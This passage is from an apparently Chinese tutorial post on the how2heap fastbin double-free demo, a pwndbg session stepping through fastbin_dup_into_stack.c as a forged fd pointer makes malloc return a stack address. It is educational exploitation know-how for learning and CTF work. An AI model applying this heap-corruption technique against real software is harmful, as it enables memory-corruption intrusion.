0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49 char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RDI 0x2RSI 0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x62R10 0x32783020a29de98dR11 0x246R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31R13 0x7fffffffe690 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP 0x400985 (main+735) ◂— 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400973 <main+717> lea rax, [rbp - 0x48]0x400977 <main+721> sub rax, 80x40097b <main+725> mov rdx, rax0x40097e <main+728> mov rax, qword ptr [rbp - 0x28]0x400982 <main+732> mov qword ptr [rax], rdx► 0x400985 <main+735> mov edi, 80x40098a <main+740> call malloc@plt <0x400580>0x40098f <main+745> mov qword ptr [rbp - 0x18], rax0x400993 <main+749> mov rax, qword ptr [rbp - 0x18]0x400997 <main+753> movabs rcx, 0x46464646464646460x4009a1 <main+763> mov qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c44 stack_var = 0x20;45 46 fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48 ► 49 char* f = malloc(8);50 strcpy(f, "FFFFFFFF");51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52 char* g = malloc(8);53 strcpy(g, "GGGGGGGG");54 fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffe570 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
03:0018│ 0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400985 main+735f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x00007fffffffe560 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Freed 0x7fffffffe560 None
0x603020 0x0 0x20 Used None None
0x603040 0x0 0x20 Used None None
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x7fffffffe560 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> b 54
Breakpoint 4 at 0x4009e8: file fastbin_dup_into_stack.c, line 54.
pwndbg> c
Continuing.
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中Breakpoint 4, main () at fastbin_dup_into_stack.c:54
54 fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x7fffffffe570 ◂— 'GGGGGGGG'RBX 0x0RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x0RDX 0x7fffffffe570 ◂— 'GGGGGGGG'RDI 0x0RSI 0x4747474747474747 ('GGGGGGGG')R8 0x603010 ◂— 'FFFFFFFF'R9 0x44R10 0xe8be93e9206e6962R11 0x246R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31R13 0x7fffffffe690 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP 0x4009e8 (main+834) ◂— 0x4800201671058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4009e8 <main+834> mov rax, qword ptr [rip + 0x201671] <0x602060>0x4009ef <main+841> mov rdx, qword ptr [rbp - 0x10]0x4009f3 <main+845> mov esi, 0x400e680x4009f8 <main+850> mov rdi, rax0x4009fb <main+853> mov eax, 00x400a00 <main+858> call fprintf@plt <0x400570>0x400a05 <main+863> mov eax, 00x400a0a <main+868> mov rcx, qword ptr [rbp - 8]0x400a0e <main+872> xor rcx, qword ptr fs:[0x28]0x400a17 <main+881> je main+888 <0x400a1e>0x400a19 <main+883> call __stack_chk_fail@plt <0x400550>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c49 char* f = malloc(8);50 strcpy(f, "FFFFFFFF");51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52 char* g = malloc(8);53 strcpy(g, "GGGGGGGG");► 54 fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ rax rdx 0x7fffffffe570 ◂— 'GGGGGGGG'
03:0018│ 0x7fffffffe578 —▸ 0x603000 ◂— 0x0
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 ◂— 'FFFFFFFF'
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x603010 ◂— 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4009e8 main+834f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:54
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Used None None
0x603020 0x0 0x20 Used None None
0x603040 0x0 0x20 Used None None
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x4646464646464646 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
55 }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x0RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbed0 ◂— 0xace680b8e499bfe8R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x3dR10 0x0R11 0x246R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31R13 0x7fffffffe690 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP 0x400a0a (main+868) ◂— 0xc334864f84d8b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4009f3 <main+845> mov esi, 0x400e680x4009f8 <main+850> mov rdi, rax0x4009fb <main+853> mov eax, 00x400a00 <main+858> call fprintf@plt <0x400570>0x400a05 <main+863> mov eax, 0► 0x400a0a <main+868> mov rcx, qword ptr [rbp - 8] <0x7ffff7b042c0>0x400a0e <main+872> xor rcx, qword ptr fs:[0x28]0x400a17 <main+881> je main+888 <0x400a1e>↓0x400a1e <main+888> leave 0x400a1f <main+889> ret 0x400a20 <__libc_csu_init> push r15
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c50 strcpy(f, "FFFFFFFF");51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52 char* g = malloc(8);53 strcpy(g, "GGGGGGGG");54 fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);► 55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffe570 ◂— 'GGGGGGGG'
03:0018│ 0x7fffffffe578 —▸ 0x603000 ◂— 0x0
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 ◂— 'FFFFFFFF'
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x603010 ◂— 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400a0a main+868f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Used None None
0x603020 0x0 0x20 Used None None
0x603040 0x0 0x20 Used None None
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x4646464646464646 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p &stack_var
$1 = (unsigned long long *) 0x7fffffffe568
pwndbg> x/10gx 0x7fffffffe568
0x7fffffffe568: 0x0000000000000020 0x4747474747474747
0x7fffffffe578: 0x0000000000603000 0x0000000000603050
0x7fffffffe588: 0x0000000000603010 0x0000000000603030
0x7fffffffe598: 0x0000000000603010 0x00007fffffffe570
0x7fffffffe5a8: 0xe609b5a9bd5a1300 0x0000000000400a20
pwndbg>
4.参考资料
【PWN】how2heap | 狼组安全团队公开知识库
这篇关于从零开始学howtoheap:fastbins的double-free攻击实操1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!